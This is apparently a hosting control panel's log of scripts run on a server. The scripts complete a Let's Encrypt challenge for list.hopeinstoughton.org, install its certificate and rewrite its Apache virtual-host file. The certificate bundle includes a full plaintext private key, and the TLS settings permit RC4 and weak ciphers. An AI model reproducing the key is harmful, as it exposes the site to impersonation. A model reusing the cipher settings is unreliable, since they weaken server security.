MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-10 12:10:48: Establishing a connection
2026-02-10 12:10:48: Establishing a connection
2026-02-10 12:10:48: 

PUT: /tmp/pkp158596

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-10 12:10:48: 

chmod 755 /tmp/pkp158596; /tmp/pkp158596; rm /tmp/pkp158596

2026-02-10 12:10:48: 


1


2026-02-10 12:10:50: Establishing a connection
2026-02-10 12:10:50: 

PUT: /tmp/pkp634566

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > G8JVrWADO0CcPLtzejCNiCHV_d-U1apdbHJltduyDlg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G8JVrWADO0CcPLtzejCNiCHV_d-U1apdbHJltduyDlg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G8JVrWADO0CcPLtzejCNiCHV_d-U1apdbHJltduyDlg
cat > wzOHGpzWYwKr9WvpLh7Se_Y59LcbhQ8RZQjanHXmOvE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wzOHGpzWYwKr9WvpLh7Se_Y59LcbhQ8RZQjanHXmOvE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wzOHGpzWYwKr9WvpLh7Se_Y59LcbhQ8RZQjanHXmOvE


2026-02-10 12:10:50: 

chmod 755 /tmp/pkp634566; /tmp/pkp634566; rm /tmp/pkp634566

2026-02-10 12:10:50: 




2026-02-10 12:11:01: Establishing a connection
2026-02-10 12:11:01: 

PUT: /tmp/pkp310708

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm G8JVrWADO0CcPLtzejCNiCHV_d-U1apdbHJltduyDlg
rm wzOHGpzWYwKr9WvpLh7Se_Y59LcbhQ8RZQjanHXmOvE


2026-02-10 12:11:01: 

chmod 755 /tmp/pkp310708; /tmp/pkp310708; rm /tmp/pkp310708

2026-02-10 12:11:01: 




2026-02-10 12:11:01: Establishing a connection
2026-02-10 12:11:01: 

PUT: /tmp/pkp842979

#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt

cat > $temp_file <<'endmsg'
79:de:3e:34:fe:b1:24:9d:d9:ad:c5:2f:ae:27:9f:d9

-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBpodnExKmaHZrceO6cBmJc1jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEwMTExMjI4WhcNMjYwNTExMTExMjI3WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDsyMYVgjjp9Y8mwQ6rUeXCNMXG0EiZwks6LlF9C/GAGUGBoV4z
3nQ+HH4RMlNwO1zI8EoUmcnt9UwG5KE0U5vKakMO+LVJ3PNZtiepWRvW+yvbFY0w
4GQVxgIWMgf0UktMTwMtqn/AfnZ5WxJ8LU0bVmpv8AASK0Ap2gfLyt6HI0co6YQE
HY7MozxnifeRM4ttr7voyQE0XahagdcTSAgQQj3RVrhOc5EiaSW3/9ZAz9/apzFI
TSuPODWLKIAsUFgep608ASPE7Bs07OIDxJcUmGANT2CVQJumz/Ym9ejtou542P88
QB1kIHgXOAWQa8Bv6gWKuux+6VXjAuW7ZxNdAgMBAAGjggJFMIICQTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHeTDBQ241lGH55BH3gtuNfuH6vlMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9ABqLnWlKV5jImaDK
iL30j8C0VmDMw2ANH3H0af/H0ayjAAABnEd2QzQACAAABQBFRTOtBAMARjBEAiBn
68q9c59ec2bfgv4o4JOIelNa6N5LtD/pue69R15x4QIgDMbXjxpIzuibmlcaPZnY
+2rcPw/MSMT1c4Cn3yJVdNoAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZxHdkqrAAAEAwBHMEUCIQDwyWxF/g4jVfaxfXBEk/d6ORrPxjA9clsd
msU12UQ1DAIgLnJB/wGqsQpvZ8rh9y7Q7Q7azFPBCIhwiKDvD9fvEeQwDQYJKoZI
hvcNAQELBQADggEBACrKvwiI6YrSkZkLZdjXaVnIuMp5w193YWN79EQMvVBGmYvi
rphCKC9YyaN8ClsE0UzulZbcWBukIU7QuN0y5DZPTbKZVJN+1cQtXuGH0IXkZwD9
OdvyyZaBAboAgqbz065bJHxaUQvWRoy8LTA7cXjqMLrkLaA9r4JPOsTU2b+sHZsg
nXedLBNm0OkF9u2B/pjRqC73dRx9Ks/8rq2zFdLYtW/7yaeOi1kbaJcWcggKxNR9
dMTmdKRjx+v8gDFfKcgoRVMsYzEXb91MMyHSroNcDbTM/0W6WZ0cFHN0x3S7LoAg
Vt7D5fxcqavbp5oB2SsfikZ/cGR7tUXF2pID1CA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDsyMYVgjjp9Y8m
wQ6rUeXCNMXG0EiZwks6LlF9C/GAGUGBoV4z3nQ+HH4RMlNwO1zI8EoUmcnt9UwG
5KE0U5vKakMO+LVJ3PNZtiepWRvW+yvbFY0w4GQVxgIWMgf0UktMTwMtqn/AfnZ5
WxJ8LU0bVmpv8AASK0Ap2gfLyt6HI0co6YQEHY7MozxnifeRM4ttr7voyQE0Xaha
gdcTSAgQQj3RVrhOc5EiaSW3/9ZAz9/apzFITSuPODWLKIAsUFgep608ASPE7Bs0
7OIDxJcUmGANT2CVQJumz/Ym9ejtou542P88QB1kIHgXOAWQa8Bv6gWKuux+6VXj
AuW7ZxNdAgMBAAECggEADp15OzRNqVnlVe8zpcJz1pAQUcG4bCPbJdexuEYHnYWx
jpFJxxTTgvlE6hsmSEv5tv4R7IHuPgMBMtRjg4nSQ2UEskS1V+j3QlHP0pBJUMnc
aUpEFpYQchbwjl3Uh4bu1o0dSpvMBTMpF+YrAWwrEWVnmMotDvIJegEsWwQGG+bP
UFTmz2T8OO2AZlXxbaMS97IyoyCXY3GFJvteuY3KyXC1lc1pCn/Yqd5V/WxiuOMh
q4vNdO7zHamdyW/2MU/lnrHgjr1z3PcK1Hz4zSof5moLYXr95TLxKQM2IqOPhq5r
FgfMCSnn7yHIGliNHDoQx45dZMxN/M0vzeDcLvSAYQKBgQD2m9kPvzZ4nUMuGJDo
eXLsMJ/lEC7xEP0Mdd7tZUM5JdNqd2Tqb2+yIL83d7JvWAirdsI4A509DmXF1C2B
PtJBsZwQPWCV5pjfZcrLoP53lRn3v2+FtHbIn7RqT1LtEiZ9CJy5fABHaXKNS566
3Hkd2uUuyu5ZogGDVYQosnf5zQKBgQD1zSXw7uZ0+0bz+0RMlHzhAbCQJXKNBOlH
PPs8UHCPzjU2klJTB4OtHQuZfC2fnekEOrU5hQs6cEd/Gas6FQ0AOmK1qyR8tnjL
wqhJctJKdK+f85sab6pb+vGe8WGkSWUwncbU57C9yo7p3p3qFziN9DOZcm5Cpwnl
HMCVPXWv0QKBgQDERcW8grMXzBJr3aF3ZTHSSeD4rqittJeyEx4aUz3tfe2GDwCC
la6QVv/ZZarec3JzBVIOwtGihpL5oKWW+CjfoDxVsIPuyllhc+Kzrq7Y/hJs3DAm
ejsP8gvlkLyvcoKvgOs7tTWDoKlLS6RJlK/Q0ycU1u5c6FPL84P74A8dAQKBgQC1
0vZQ/nfNax82VdVVDLY/v387cegFtu9VOh/iouJRDknAv4ZUUwetpAGznO8m1qnK
7h6mmOsQZIQO2g8WXQIL/CSOnDXWZyh+GdVg16YFW8GagZpneNi9R6k6WPZQj9Zh
myS801KjYlZLW9jWlCzKnS0aQlKbzXJ9X8J540fOMQKBgQDif7T1dRYHOXAGmk9+
GJL8tXOJWOow0IbN/f3SWcXM8Cv2FqeELBzrf1UpA+TCcOhI7DcxF1NFIPx+jS/R
i92grellg75rSnFcEsbvkG/QDC/U9r4OlPyF/v5iyIaxXAID51G465RzKQ0KftZ8
i9nCEKYaFr7+FSyGUPTAfkZKVQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-10 12:11:01: 

chmod 755 /tmp/pkp842979; /tmp/pkp842979; rm /tmp/pkp842979

2026-02-10 12:11:01: 


dir=/etc/ssl/certs


2026-02-10 12:11:01: 

PUT: /tmp/pkp365463

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-10 12:11:01: 

chmod 755 /tmp/pkp365463; /tmp/pkp365463; rm /tmp/pkp365463

2026-02-10 12:11:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-10 12:11:01: 

PUT: /tmp/pkp551540

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi


2026-02-10 12:11:01: 

